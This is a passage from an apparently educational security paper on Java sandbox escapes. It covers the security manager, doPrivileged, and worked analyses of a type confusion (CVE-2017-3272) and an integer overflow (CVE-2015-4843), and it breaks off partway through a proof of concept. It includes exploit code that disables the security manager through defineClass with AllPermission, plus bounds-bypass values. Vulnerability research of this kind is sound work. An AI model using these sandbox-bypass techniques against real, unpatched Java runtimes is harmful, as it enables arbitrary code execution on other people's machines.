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--[ 1 - Introduction 

 

The Java platform is broadly deployed on billions of devices, from servers 

and desktop workstations to consumer electronics. It was originally 

designed to implement an elaborate security model, the Java sandbox, that 

allows for the secure execution of code retrieved from potentially 

untrusted remote machines without putting the host machine at risk. 

Concretely, this sandboxing approach is used to secure the execution of 

untrusted Java applications such as Java applets in the web browser. 

Unfortunately, critical security bugs -- enabling a total bypass of the 

sandbox -- affected every single major version of the Java platform since 

its introduction. Despite major efforts to fix and revise the platform's 

security mechanisms over the course of two decades, critical security 

vulnerabilities are still being found. 

 

In this work, we review the past and present of Java insecurity. Our goal 

is to provide an overview of how Java platform security fails, such that we 

can learn from the past mistakes. All security vulnerabilities presented 

here are already known and fixed in current versions of the Java runtime, 

we discuss them for educational purposes only. This case study has been 

made in the hope that we gain insights that help us design better systems 

in the future. 

 

--[ 2 - Background 

 

----[ 2.1 - A Brief History of Java Sandbox Exploits 

 

The first version of Java was released by Sun Microsystems in 1995 [2]. One 

year later, researchers at Princeton University identified multiple flaws 

enabling an analyst to bypass the sandbox [3]. The authors identified 

weaknesses in the language, bytecode and object initialization, to name a 

few, some of them still present in Java at the time of writing. It is the 

first time a class spoofing attack against the Java runtime has been 

detailed. A few years later, in 2002, The Last Stage of Delirium (LSD) 



research group presented their findings on the security of the Java virtual 

machine [29]. They detailed vulnerabilities affecting, among others, the 

bytecode verifier and class loaders leading to type confusion or class 

spoofing attacks. In 2010, Koivu was the first to publicly show that 

trusted method chain attacks work against Java by explaining how to exploit 

the CVE-2010-0840 vulnerability he has found [32]. In 2011, Drake described 

how to exploit memory corruption vulnerabilities in Java [4]. He explains 

how to exploit CVE-2009-3869 and CVE-2010-3552, two stack buffer overflow 

vulnerabilities. In 2012, Guillardoy [5], described CVE-2012-4681, two 

vulnerabilities allowing to bypass the sandbox. The first vulnerability 

gives access to restricted classes and the second allows to modify private 

fields. Also in 2012, Oh described how to exploit the vulnerability of 

CVE-2012-0507 to perform a type confusion attack to bypass the Java sandbox 

[6]. In 2013, Gorenc and Spelman performed a large scale study of 120 Java 

vulnerabilities and conclude that unsafe reflection is the most common 

vulnerability in Java but that type confusion is the most common exploited 

vulnerability [8]. Still in 2013, Lee and Nie identified multiple 

vulnerabilities including a vulnerability in a native method enabling the 

bypass of the sandbox [9]. Again in 2013, Kaiser described, among others, 

CVE-2013-1438 a trusted method chain vulnerability found by James Forshaw 

and CVE-2012-5088 a Java reflection vulnerability found by Security 

Explorations. Between 2012 and 2013, security researchers at Security 

Explorations discovered more than 20 Java vulnerabilities [7]. Starting in 

2014, the developers of main web browsers such as Chrome or Firefox decided 

to disable NAPI by default (hence no Java code can be executed by default) 

[11] [12]. The attack surface of Java being reduced, it seems that less 

research on Java sandbox bypass is being conducted. However, exploits 

bypassing the sandbox still pop up once in a while. For instance, in 2018, 

Lee describes how to exploit CVE-2018-2826, a type confusion vulnerability 

found by XOR19 [18]. 

 

----[ 2.2 - The Java Platform 

 

The Java platform can be divided into two abstract components: the Java 

Virtual Machine (JVM), and the Java Class Library (JCL). 

 

The JVM is the core of the platform. It is implemented in native code and 

provides all the basic functionality required for program execution, such 

as a bytecode parser, JIT compiler, garbage collector, and so forth. Due to 

the fact that it is implemented natively, it is also subject to the same 

attacks like any other native binary, including memory corruption 

vulnerabilities such as buffer overflows [1], for example. 

 

The JCL is the standard library that ships together with the JVM. It 

comprises hundreds of system classes, primarily implemented in Java, with 

smaller portions being implemented natively. As all system classes are 

trusted, they are associated with all privileges by default. These 

privileges give them full access to any sort of functionality (filesystem 

read/write, full access to the network, etc.), and hence full access to the 

host machine. Consequently, any security bug in a system class can 

potentially be used by analysts to break out of the sandbox. 

 

The main content of this paper is thus separated into two larger sections - 

one dealing with memory corruption vulnerabilities, and the other one 

focussing on vulnerabilities at the Java level. 



 

----[ 2.3 - The Security Manager 

 

In the code of the JCL, the sandbox is implemented with authorization 

checks, most of them being permission checks. For instance, before any 

access to the filesystem, code in the JCL checks that the caller has the 

right permission to access the filesystem. Below is an example checking the 

read permission on a file in class _java.io.FileInputStream_. The 

constructor checks that the caller has the read permission to read the 

specified file on line 5. 

 

--------------------------------------------------------------------------- 

  1: public FileInputStream(File file) throws FileNotFoundException { 

  2:     String name = (file != null ? file.getPath() : null); 

  3:     SecurityManager security = System.getSecurityManager(); 

  4:     if (security != null) { 

  5:         security.checkRead(name); 

  6:     } 

  7:     if (name == null) { 

  8:         throw new NullPointerException(); 

  9:     } 

 10:     if (file.isInvalid()) { 

 11:         throw new FileNotFoundException("Invalid file path"); 

 12:     } 

 13:     fd = new FileDescriptor(); 

 14:     fd.incrementAndGetUseCount(); 

 15:     this.path = name; 

 16:     open(name); 

 17: } 

--------------------------------------------------------------------------- 

 

Note that for performance reasons, authorizations are only checked if a 

security manager has been set (lines 3-4). A typical attack to escape the 

Java sandbox thus aims at setting the security manager to null. This 

effectively disables all authorization checks. Without security manager 

set, the analyst can execute any code as if it had all authorizations. 

 

However, authorizations are only checked at the Java level. Native code 

executes with all authorizations. Although it might be possible to directly 

execute arbitrary analyst's controlled native code when exploiting memory 

corruption vulnerabilities, in all the examples of this paper we focus on 

disabling the security manager to be able to execute arbitrary Java code 

with all permissions. 

 

----[ 2.4 - The doPrivileged Method 

 

When a permission "P" is checked, the JVM checks that every element of the 

call stack has permission "P". If one element does not have "P", a security 

exception is thrown. This approach works fine most of the time. However, 

some method m1() in the JCL which does not require a permission to be 

called might need to call another method m2() in the JCL which in turn 

requires a permission "P2". With the approach above, if method main() in a 

user class with no permission calls m1(), a security exception is thrown by 

the JVM, because of the follow-up call to m2() in m1(). Indeed, during the 

call stack walk, m1() and m2() have the required permission, because they 



belong to trusted classes in the JCL, but main() does not have the 

permission. 

 

The solution is to wrap the call in m1() to m2() inside a doPrivileged() 

call. Thus, when "P2" is checked, the stack walk stops at the method 

calling doPrivileged(), here m1(). Since m1() is a method in the JCL, it 

has all permissions. Thus, the check succeeds and the stack walk stops. 

 

A real-world example is method unaligned() in _java.nio.Bits_. It deals 

with network streams and has to know the architecture of the processor. 

Getting this information, however, requires the "get_property" permission 

which the user code might not have. Calling unaligned() from an untrusted 

class would thus fail in this case due to the permission check. Thus, the 

code in unaligned() which retrieves information about the processor 

architecture is wrapped in a doPrivileged call, as illustrated below (lines 

4-5): 

 

--------------------------------------------------------------------------- 

  1: static boolean unaligned() { 

  2:     if (unalignedKnown) 

  3:         return unaligned; 

  4:     String arch = AccessController.doPrivileged( 

  5:         new sun.security.action.GetPropertyAction("os.arch")); 

  6:     unaligned = arch.equals("i386") || arch.equals("x86") 

  7:         || arch.equals("amd64") || arch.equals("x86_64"); 

  8:     unalignedKnown = true; 

  9:     return unaligned; 

 10: } 

--------------------------------------------------------------------------- 

 

When the "get_property" permission is checked, the stack walk checks 

methods down to Bits.unaligned() and then stops. 

 

--[ 3 - Memory Corruption Vulnerabilities 

 

----[ 3.1 - Type Confusion 

 

------[ 3.1.1 - Background 

 

The first memory corruption vulnerability that we describe is a type 

confusion vulnerability [13]. Numerous Java exploits rely on a type 

confusion vulnerability to escape the sandbox [16] [17] and more recently 

[18]. In a nutshell, when there is a type confusion, the VM believes an 

object is of type _A_ while in reality the object is of type _B_. How can 

this be used to disable the security manager? 

 

The answer is that a type confusion vulnerability can be used to access 

methods that would otherwise be out of reach for an analyst without 

permission. The typical method that an analyst targets is the defineClass() 

method of the _ClassLoader_ class. Why? Well, this method allows to define 

a custom class (thus potentially analyst controlled) with all permissions. 

The analyst would thus create and then execute his own newly defined class 

which contains code to disable the security manager to bypass all 

authorization checks. 

 



Method defineClass() is 'protected' and thus can only be called from 

methods in class _ClassLoader_ or a subclass of _ClassLoader_. Since the 

analyst cannot modify methods in _ClassLoader_, his only option is to 

subclass _ClassLoader_ to be able to call defineClass(). Instantiating a 

subclass of _ClassLoader_ directly from code with no permission would, 

however, trigger a security exception because the constructor of 

_ClassLoader_ checks for permission "Create_ClassLoader". The trick is for 

the analyst to define a class extending _ClassLoader_, such as _Help_ class 

below, and add a static method with an object of type _Help_ as parameter. 

The analyst then retrieves an existing _ClassLoader_ instance from the 

environment and uses type confusion to "cast" it to _Help_. With this 

approach, the JVM thinks that h of method doWork() (line 4 below) is a 

subclass of _ClassLoader_ (while its real type is _ClassLoader_) and thus 

the protected method defineClass() becomes available to the analyst (a 

protected method in Java is accessible from a subclass). 

 

--------------------------------------------------------------------------- 

  1: public class Help extends ClassLoader implements 

  2:  Serializable { 

  3: 

  4:   public static void doWork(Help h) throws Throwable { 

  5: 

  6:     byte[] buffer = BypassExploit.getDefaultHelper(); 

  7:     URL url = new URL("file:///"); 

  8:     Certificate[] certs = new Certificate[0]; 

  9:     Permissions perm = new Permissions(); 

 10:     perm.add(new AllPermission()); 

 11:     ProtectionDomain protectionDomain = new ProtectionDomain( 

 12:      new CodeSource(url, certs), perm); 

 13: 

 14:     Class cls = h.defineClass("DefaultHelper", buffer, 0, 

 15:      buffer.length, protectionDomain); 

 16:     cls.newInstance(); 

 17: 

 18:   } 

 19: } 

--------------------------------------------------------------------------- 

 

More precisely, using a type confusion vulnerability, the analyst can 

disable the sandbox in three steps. Firstly, the analyst can retrieve the 

application class loader as follows (this step does not require a 

permission): 

 

--------------------------------------------------------------------------- 

      Object cl = Help.class.getClassLoader(); 

--------------------------------------------------------------------------- 

 

Secondly, using the type confusion vulnerability, he can make the VM think 

that object cl is of type _Help_. 

 

--------------------------------------------------------------------------- 

      Help h = use_type_confusion_to_convert_to_Help(cl); 

--------------------------------------------------------------------------- 

 

Thirdly, he provides h as an argument to the static method doWork() in 



_Help_, which disables the security manager. 

 

The doWork() method first loads, but does not yet execute, the bytecode of 

the analyst controlled _DefaultHelper_ class in buffer (line 6 in the 

listing above). As shown below, this class disables the security manager 

within a doPrivileged() block in its constructor. The doPrivileged() block 

is necessary to prevent that the entire call stack is checked for 

permissions, because main() is part of the call sequence, which has no 

permissions. 

 

--------------------------------------------------------------------------- 

1: public class DefaultHelper implements PrivilegedExceptionAction<Void> { 

2:   public DefaultHelper() { 

3:       AccessController.doPrivileged(this); 

4:   } 

5: 

6:   public Void run() throws Exception { 

7:     System.setSecurityManager(null); 

8:   } 

9: } 

--------------------------------------------------------------------------- 

 

After loading the bytecode, it creates a protection domain with all 

permissions (lines 7-12). Finally, it calls defineClass() on h (line 

14-15). This call works because the VM thinks h is of type _Help_. In 

reality, h is of type _ClassLoader_. However, since method defineClass() is 

defined in class _ClassLoader_ as a protected method, the call is 

successfull. At this point the analyst has loaded his own class with all 

privileges. The last step (line 16) is to instantiate the class to trigger 

the call to the run() method which disables the security manager. When the 

security manager is disabled, the analyst can execute any Java code as if 

it had all permissions. 

 

------[ 3.1.2 - Example: CVE-2017-3272 

 

The previous section explaind what a type confusion vulnerability is and 

how an analyst can exploit it to disable the security manager. This section 

provides an example, explaining how CVE-2017-3272 can be used to implement 

such an attack. 

 

Redhat's bugzilla [14] provides the following technical details on 

CVE-2017-3272: 

 

"It was discovered that the atomic field updaters in the 

_java.util.concurrent.atomic_ package in the Libraries component of OpenJDK 

did not properly restrict access to protected field members. An untrusted 

Java application or applet could use this flaw to bypass Java sandbox 

restrictions." 

 

This indicates that the vulnerable code lies in the 

_java.util.concurrent.atomic.package_ and that is has something to do with 

accessing a protected field. The page also links to the OpenJDK's patch 

"8165344: Update concurrency support". This patch modifies the 

_AtomicIntegerFieldUpdater_, _AtomicLongFieldUpdater_ and 

_AtomicReferenceFieldUpdater_ classes. What are these classes used for? 



 

To handle concurrent modifications of fields, Java provides _AtomicLong_, 

_AtomicInt_ and _AtomicBoolean_, etc... For instance, in order to create 

ten million _long_ fields on which concurrent modifications can be 

performed, ten million _AtomicLong_ objects have to be instantiated. As a 

single instance of _AtomicLong_ takes 24 bytes + 4 bytes for the reference 

to the instance = 28 bytes [15], ten million instances of _AtomicLong_ 

represent 267 Mib. 

 

In comparison, using _AtomicLongFieldUpdater_ classes, it would have taken 

only 10.000.000 * 8 = 76 MiB. Indeed, only the long fields take space. 

Furthermore, since all methods in _Atomic*FieldUpdater_ classes are static, 

only a single instance of the updater is created. Another benefit of using 

_Atomic*FieldUpdater_ classes is that the garbage collector will not have 

to keep track of the ten million _AtomicLong_ objects. However, to be able 

to do that, the updater uses unsafe functionalities of Java to retrieve the 

memory address of the target field via the _sun.misc.Unsafe_ class. 

 

How to create an instance of a _AtomicReferenceFieldUpdater_ is illustrated 

below. Method newUpdater() has to be called with three parameters: tclass, 

the type of the class containing the field, vclass the type of the field 

and fieldName, the name of the field. 

 

--------------------------------------------------------------------------- 

  1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater( 

  2:                                 Class<U> tclass, 

  3:                                 Class<W> vclass, 

  4:                                 String fieldName) { 

  5:   return new AtomicReferenceFieldUpdaterImpl<U,W> 

  6:     (tclass, vclass, fieldName, Reflection.getCallerClass()); 

  7: } 

--------------------------------------------------------------------------- 

 

Method newUpdater() calls the constructor of 

_AtomicReferenceFieldUpdaterImpl_ which does the actual work. 

 

--------------------------------------------------------------------------- 

  1: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass, 

  2:                                 final Class<V> vclass, 

  3:                                 final String fieldName, 

  4:                                 final Class<?> caller) { 

  5:   final Field field; 

  6:   final Class<?> fieldClass; 

  7:   final int modifiers; 

  8:   try { 

  9:     field = AccessController.doPrivileged( 

 10:       new PrivilegedExceptionAction<Field>() { 

 11:         public Field run() throws NoSuchFieldException { 

 12:           return tclass.getDeclaredField(fieldName); 

 13:         } 

 14:       }); 

 15:     modifiers = field.getModifiers(); 

 16:     sun.reflect.misc.ReflectUtil.ensureMemberAccess( 

 17:       caller, tclass, null, modifiers); 

 18:     ClassLoader cl = tclass.getClassLoader(); 



 19:     ClassLoader ccl = caller.getClassLoader(); 

 20:     if ((ccl != null) && (ccl != cl) && 

 21:       ((cl == null) || !isAncestor(cl, ccl))) { 

 22:       sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass); 

 23:     } 

 24:     fieldClass = field.getType(); 

 25:   } catch (PrivilegedActionException pae) { 

 26:     throw new RuntimeException(pae.getException()); 

 27:   } catch (Exception ex) { 

 28:     throw new RuntimeException(ex); 

 29:   } 

 30: 

 31:   if (vclass != fieldClass) 

 32:     throw new ClassCastException(); 

 33: 

 34:   if (!Modifier.isVolatile(modifiers)) 

 35:     throw new IllegalArgumentException("Must be volatile type"); 

 36: 

 37:   this.cclass = (Modifier.isProtected(modifiers) && 

 38:            caller != tclass) ? caller : null; 

 39:   this.tclass = tclass; 

 40:   if (vclass == Object.class) 

 41:     this.vclass = null; 

 42:   else 

 43:     this.vclass = vclass; 

 44:   offset = unsafe.objectFieldOffset(field); 

 45: } 

--------------------------------------------------------------------------- 

 

The constructor first retrieves, through reflection, the field to update 

(line 12). Note that the reflection call will work even if the code does 

not have any permission. This is the case because the call is performed 

within a doPrivileged() block which tells the JVM to allow certain 

operations even if the original caller does have the permission (see 

Section 2.4). Next, if the field has the protected attribute and the caller 

class is not the same as the tclass class, caller is stored in cclass 

(lines 37-38). Note that caller is set in method newUpdater() via the call 

to Reflection.getCallerClass(). These lines (37-38) are strange since class 

caller may have nothing to do with class tclass. We will see below that 

these lines are where the vulnerability lies. Next, the constructor stores 

tclass, vclass and uses reference unsafe of class _Unsafe_ to get the 

offset of field (lines 39-44). This is a red flag as the _Unsafe_ class is 

very dangerous. It can be used to directly manipulate memory which should 

not be possible in a Java program. If it is directly or indirectly in the 

hands of the analyst, it could be used to bypass the Java sandbox. 

 

Once the analyst has a reference to an _AtomicReferenceFieldUpdater_ 

object, he can call the set() method on it to update the field as 

illustrated below: 

 

--------------------------------------------------------------------------- 

  1: public final void set(T obj, V newValue) { 

  2:   accessCheck(obj); 

  3:   valueCheck(newValue); 

  4:    U.putObjectVolatile(obj, offset, newValue); 



  5: } 

  6: 

  7: private final void accessCheck(T obj) { 

  8:   if (!cclass.isInstance(obj)) 

  9:     throwAccessCheckException(obj); 

 10: } 

 11: 

 12: private final void valueCheck(V v) { 

 13:   if (v != null && !(vclass.isInstance(v))) 

 14:     throwCCE(); 

 15: } 

--------------------------------------------------------------------------- 

 

The first parameter of set(), obj, is the instance on which the reference 

field has to be updated. The second parameter, newValue, is the new value 

of the reference field. First, set() checks that obj is an instance of type 

cclass (lines 2, 7-10). Then, set() checks that newValue is null or an 

instance of vclass, representing the field type (lines 3, 12-15). If all 

the checks pass, the _Unsafe_ class is used to put the new value at the 

right offset in object obj (line 4). 

 

The patch for the vulnerability is illustrated below. 

 

--------------------------------------------------------------------------- 

 - this.cclass = (Modifier.isProtected(modifiers)) 

 -                ? caller : tclass; 

 + this.cclass = (Modifier.isProtected(modifiers) 

 +             && tclass.isAssignableFrom(caller) 

 +             && !isSamePackage(tclass, caller)) 

 +                ? caller : tclass; 

--------------------------------------------------------------------------- 

 

As we noticed earlier, the original code is not performing enough checks on 

the caller object. In the patched version, the code now checks that tclass 

is the same class as, a super-class or a super-interface of caller. How to 

exploit this vulnerability becomes obvious and is illustrated below. 

 

--------------------------------------------------------------------------- 

  1: class Dummy { 

  2:   protected volatile A f; 

  3: } 

  4: 

  5: class MyClass { 

  6:   protected volatile B g; 

  7: 

  8:   main() { 

  9:     m = new MyClass(); 

 10:     u = newUpdater(Dummy.class, A.class, "f"); 

 11:     u.set(m, new A()); 

 12:     println(m.g.getClass()); 

 13:   } 

 14: } 

--------------------------------------------------------------------------- 

 

First the class _Dummy_ with field f of type _A_ is used to call 



newUpdater() (lines 1-3, 9, 10). Then, method set() is called with class 

_MyClass_ and new value newVal for the field f of type _A_ on the updater 

instance (line 11). Instead of having field f of type _A_, _MyClass_ has 

field g of type _B_. Thus, the actual type of g after the call to set() is 

_A_ but the virtual machine assumes type _B_. The println() call will print 

"class A" instead of "class B" (line 12). However, accessing this instance 

of class _A_ is done through methods and fields of class _B_. 

 

------[ 3.1.3 - Discussion 

 

As mentioned above, the _Atomic*FieldUpdater_ classes have already been 

introduced in Java 1.5. However, the vulnerability was only detected in 

release 1.8_112 and patched in the next release 1.8_121. By dichotomy 

search in the releases from 1.6_ to 1.8_112 we find that the vulnerability 

first appears in release 1.8_92. Further testing reveals that all versions 

in between are also vulnerable: 1.8_101, 1.8_102 and 1.8_111. We have also 

tested the PoC against the first and last releases of Java 1.5: they are 

not vulnerable. 

 

A diff of _AtomicReferenceFieldUpdater_ between versions 1.8_91 (not 

vulnerable) and 1.8_92 (vulnerable) reveals that a code refactoring 

operation failed to preserve the semantics of all the checks performed on 

the input values. The non-vulnerable code of release 1.8_91 is illustrated 

below. 

 

--------------------------------------------------------------------------- 

  1: private void ensureProtectedAccess(T obj) { 

  2:   if (cclass.isInstance(obj)) { 

  3:     return; 

  4:   } 

  5:   throw new RuntimeException(... 

  6: } 

  7: 

  8: void updateCheck(T obj, V update) { 

  9:   if (!tclass.isInstance(obj) || 

 10:       (update != null && vclass != null 

 11:        && !vclass.isInstance(update))) 

 12:     throw new ClassCastException(); 

 13:   if (cclass != null) 

 14:     ensureProtectedAccess(obj); 

 15: } 

 16: 

 17: public void set(T obj, V newValue) { 

 18:   if (obj == null || 

 19:       obj.getClass() != tclass || 

 20:       cclass != null || 

 21:       (newValue != null 

 22:        && vclass != null 

 23:        && vclass != newValue.getClass())) 

 24:       updateCheck(obj, newValue); 

 25:   unsafe.putObjectVolatile(obj, offset, newValue); 

 26: } 

--------------------------------------------------------------------------- 

 

In the non-vulnerable version, if obj's type is different from tclass, the 



type of the class containing the field to update, there are potentially two 

conditions to pass. The first is that obj can be cast to tclass (lines 9, 

12). The second, only checked if the field is protected, is that obj can be 

cast to cclass (lines 14, 1-6). 

 

In the vulnerable version, however, the condition is simply that obj can be 

cast to cclass. The condition that obj can be cast to tclass is lost. 

Missing a single condition is enough to create a security vulnerability 

which, if exploited right, results in a total bypass of the Java sandbox. 

 

Can type confusion attacks be prevented? In Java, for performance reasons, 

the type _T_ of an object o is not checked every time object o is used. 

Checking the type at every use of the object would prevent type confusion 

attacks but would also induce a runtime overhead. 

 

----[ 3.2 - Integer Overflow 

 

------[ 3.2.1 - Background 

 

An integer overflow happens when the result of an arithmetic operation is 

too big to fit in the number of bits of the variable. In Java, integers use 

32 bits to represent signed numbers. Positive values have values from 

0x00000000 (0) to 0x7FFFFFFF (2^31 - 1). Negative values have values from 

0x80000000 (-2^31)to 0xFFFFFFFF (-1). If value 0x7FFFFFFF (2^31 - 1) is 

incremented, the result does not represent 2^31 but (-2^31). How can this 

be used to disable the security manager? 

 

In the next section we analyze the integer overflow of CVE-2015-4843 [20]. 

The integer is used as an index in an array. Using the overflow we can 

read/write values outside the array. These read/write primitives are used 

to achieve a type confusion attack. The reader already knows from the 

description of CVE-2017-3272 above, that the analyst can rely on such an 

attack to disable the security manager. 

 

------[ 3.2.2 - Example: CVE-2015-4843 

 

A short description of this vulnerability is available on Redhat's Bugzilla 

[19]. It shows that multiple integer overflows have been found in Buffers 

classes from the java.nio package and that the vulnerability could be used 

to execute arbitrary code. 

 

The vulnerability patch actually fixes the file 

java/nio/Direct-X-Buffer.java.template used to generate classes of the form 

DirectXBufferY.java where X could be "Byte", "Char", "Double", "Int", 

"Long", "Float" or "Short" and Y could be "S", "U", "RS" or "RU". "S" means 

that the array contains signed numbers, "U" unsigned numbers, "RS" signed 

numbers in read-only mode and "RU" unsigned numbers in read-only mode. Each 

of the generated classes _C_ wraps an array of a certain type that can be 

manipulated via methods of class _C_. For instance, DirectIntBufferS.java 

wraps an array of 32 bit signed integers and defines methods get() and 

set() to, respectively, copy elements from an array to the internal array 

of the DirectIntBufferS class or to copy elements from the internal array 

to an array outside the class. Below is an excerpt from the vulnerability 

patch: 

 



--------------------------------------------------------------------------- 

 14:      public $Type$Buffer put($type$[] src, int offset, int length) { 

 15:  #if[rw] 

 16: -        if ((length << $LG_BYTES_PER_VALUE$) 

                > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 

 17: +        if (((long)length << $LG_BYTES_PER_VALUE$) 

                > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 

 18:              checkBounds(offset, length, src.length); 

 19:              int pos = position(); 

 20:              int lim = limit(); 

 21: @@ -364,12 +364,16 @@ 

 22: 

 23:  #if[!byte] 

 24:              if (order() != ByteOrder.nativeOrder()) 

 25: -                Bits.copyFrom$Memtype$Array(src, 

                        offset << $LG_BYTES_PER_VALUE$, 

 26: -                  ix(pos), length << $LG_BYTES_PER_VALUE$); 

 27: +                Bits.copyFrom$Memtype$Array(src, 

 28: +                  (long)offset << $LG_BYTES_PER_VALUE$, 

 29: +                  ix(pos), 

 30: +                  (long)length << $LG_BYTES_PER_VALUE$); 

 31:              else 

 32:  #end[!byte] 

 33: -                Bits.copyFromArray(src, arrayBaseOffset, 

                        offset << $LG_BYTES_PER_VALUE$, 

 34: -                  ix(pos), length << $LG_BYTES_PER_VALUE$); 

 35: +                Bits.copyFromArray(src, arrayBaseOffset, 

 36: +                  (long)offset << $LG_BYTES_PER_VALUE$, 

 37: +                  ix(pos), 

 38: +                  (long)length << $LG_BYTES_PER_VALUE$); 

 39:              position(pos + length); 

--------------------------------------------------------------------------- 

 

The fix (lines 17, 28, 36, and 38) consists in casting the 32 bit integers 

to 64 bit integers before performing a shift operation which, on 32 bit, 

might result in an integer overflow. The corrected version of the put() 

method extracted from java.nio.DirectIntBufferS.java from Java 1.8 update 

65 is below: 

 

--------------------------------------------------------------------------- 

 354:     public IntBuffer put(int[] src, int offset, int length) { 

 355: 

 356:       if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 

 357:             checkBounds(offset, length, src.length); 

 358:             int pos = position(); 

 359:             int lim = limit(); 

 360:             assert (pos <= lim); 

 361:             int rem = (pos <= lim ? lim - pos : 0); 

 362:             if (length > rem) 

 363:                 throw new BufferOverflowException(); 

 364: 

 365: 

 366:             if (order() != ByteOrder.nativeOrder()) 

 367:                 Bits.copyFromIntArray(src, 

 368:                                             (long)offset << 2, 



 369:                                             ix(pos), 

 370:                                             (long)length << 2); 

 371:             else 

 372: 

 373:                 Bits.copyFromArray(src, arrayBaseOffset, 

 374:                                    (long)offset << 2, 

 375:                                    ix(pos), 

 376:                                    (long)length << 2); 

 377:             position(pos + length); 

 378:       } else { 

 379:             super.put(src, offset, length); 

 380:       } 

 381:       return this; 

 382: 

 383: 

 384: 

 385:     } 

--------------------------------------------------------------------------- 

 

This method copies length elements from the src array from the specified 

offset to the internal array. At line 367, method Bits.copyFromIntArray() 

is called. This Java method takes as parameter the reference to the source 

array, the offset from the source array in bytes, the index into the 

destination array in bytes and the number of bytes to copy. As the three 

last parameters represent sizes and offsets in bytes, they have to be 

multiplied by four (shifted by 2 on the left). This is done for offset 

(line 374), pos (line 375) and length (line 376). Note that for pos, the 

operation is done within the ix() method. 

 

In the vulnerable version, casts to long are not present, which makes the 

code vulnerable to integer overflows. 

 

Similarly, the get() method, which copies elements from the internal array 

to an external array, is also vulnerable. The get() method is very similar 

to the put() method, except that the call to copyFromIntArray() is replaced 

by a call to copyToIntArray(): 

 

--------------------------------------------------------------------------- 

 262:     public IntBuffer get(int[] dst, int offset, int length) { 

 263: 

 [...] 

 275:                 Bits.copyToIntArray(ix(pos), dst, 

 276:                                           (long)offset << 2, 

 277:                                           (long)length << 2); 

 [...] 

 291:     } 

--------------------------------------------------------------------------- 

 

Since methods get() and put() are very similar, in the following we only 

describe how to exploit the integer overflow in the get() method. The 

approach is the same for the put() method. 

 

Let's have a look at the Bits.copyFromArray() method, called in the get() 

method. This method is in fact a native method: 

 



--------------------------------------------------------------------------- 

 803:    static native void copyToIntArray(long srcAddr, Object dst, 

 804:                                      long dstPos, long length); 

--------------------------------------------------------------------------- 

 

The C code of this method is shown below. 

 

--------------------------------------------------------------------------- 

 175: JNIEXPORT void JNICALL 

 176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this, 

 177:                                   jlong srcAddr, jobject dst, 

                                       jlong dstPos, jlong length) 

 178: { 

 179:     jbyte *bytes; 

 180:     size_t size; 

 181:     jint *srcInt, *dstInt, *endInt; 

 182:     jint tmpInt; 

 183: 

 184:     srcInt = (jint *)jlong_to_ptr(srcAddr); 

 185: 

 186:     while (length > 0) { 

 187:         /* do not change this code, see WARNING above */ 

 188:         if (length > MBYTE) 

 189:             size = MBYTE; 

 190:         else 

 191:             size = (size_t)length; 

 192: 

 193:         GETCRITICAL(bytes, env, dst); 

 194: 

 195:         dstInt = (jint *)(bytes + dstPos); 

 196:         endInt = srcInt + (size / sizeof(jint)); 

 197:         while (srcInt < endInt) { 

 198:             tmpInt = *srcInt++; 

 199:             *dstInt++ = SWAPINT(tmpInt); 

 200:         } 

 201: 

 202:         RELEASECRITICAL(bytes, env, dst, 0); 

 203: 

 204:         length -= size; 

 205:         srcAddr += size; 

 206:         dstPos += size; 

 207:     } 

 208: } 

--------------------------------------------------------------------------- 

 

We notice that there is no check on the array indices. If the index is less 

than zero or greater or equal to the array size the code will run also. 

This code first transforms a long to a 32 bit integer pointer (line 184). 

Then, the code loops until length/size elements are copied (lines 186 and 

204). Calls to GETCRITICAL() and RELEASECRITICAL() (lines 193 and 202) are 

used to synchronize the access to the dst array and have thus nothing to do 

with checking the index of the array. 

 

To execute this native code three constraints present in the get() Java 

method have to be satisfied: 



 

- Constraint 1: 

 

--------------------------------------------------------------------------- 

 356:      if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 

--------------------------------------------------------------------------- 

 

- Constraint 2: 

 

--------------------------------------------------------------------------- 

 357:          checkBounds(offset, length, src.length); 

--------------------------------------------------------------------------- 

 

- Constraint 3: 

 

--------------------------------------------------------------------------- 

 362:          if (length > rem) 

--------------------------------------------------------------------------- 

 

We do not mention the assertion at line 360 since it is only checked if the 

"-ea" (enable assertions) option is set in the VM. This is almost never the 

case in production since it entails slowdowns. 

 

In the first constraint, JNI_COPY_FROM_ARRAY_THRESHOLD represents the 

threshold (in number of elements to copy) from which the copy will be done 

via native code. Oracle has empirically determined that it is worth calling 

native code from 6 elements. To satisfy this constraint, the number of 

elements to copy must be greater than 1 (6 >> 2). 

 

The second constraint is present in the checkBounds() method: 

 

--------------------------------------------------------------------------- 

 564:    static void checkBounds(int off, int len, int size) { 

 566:        if ((off | len | (off + len) | (size - (off + len))) < 0) 

 567:            throw new IndexOutOfBoundsException(); 

 568:    } 

--------------------------------------------------------------------------- 

 

The second constraint can be expressed as follows: 

 

--------------------------------------------------------------------------- 

  1:  offset > 0 AND length > 0 AND (offset + length) > 0 

  2:  AND (dst.length - (offset + length)) > 0. 

--------------------------------------------------------------------------- 

 

The third constraint checks that the remaining number of elements is less 

than or equal to the number of elements to copy: 

 

--------------------------------------------------------------------------- 

 length < lim - pos 

--------------------------------------------------------------------------- 

 

To simplify, we suppose that the current index of the array is 0. The 

constraint then becomes: 

 



--------------------------------------------------------------------------- 

 length < lim 

--------------------------------------------------------------------------- 

 

which is the same as 

 

--------------------------------------------------------------------------- 

 length < dst.length 

--------------------------------------------------------------------------- 

 

A solution for these constraints is: 

 

--------------------------------------------------------------------------- 

 dst.length = 1209098507 

 offset     = 1073741764 

 length     =          2 

--------------------------------------------------------------------------- 

 

With this solution, all the constraints are satisfied, and since there is 

an integer overflow we can read 8 bytes (2*4) at a negative index of -240 

(1073741764 << 2). We now have a read primitive to read bytes before the 

dst array. Using the same technique on the get() method we get a primitive 

to write bytes before the dst array. 

 

We can check that our analysis is correct by writing a simple PoC and 

execute it on a vulnerable version of the JVM such as Java 1.8 update 60. 

 

--------------------------------------------------------------------------- 

  1:  public class Test { 

  2: 

  3:    public static void main(String[] args) { 

  4:      int[] dst = new int[1209098507]; 

  5: 

  6:      for (int i = 0; i < dst.length; i++) { 

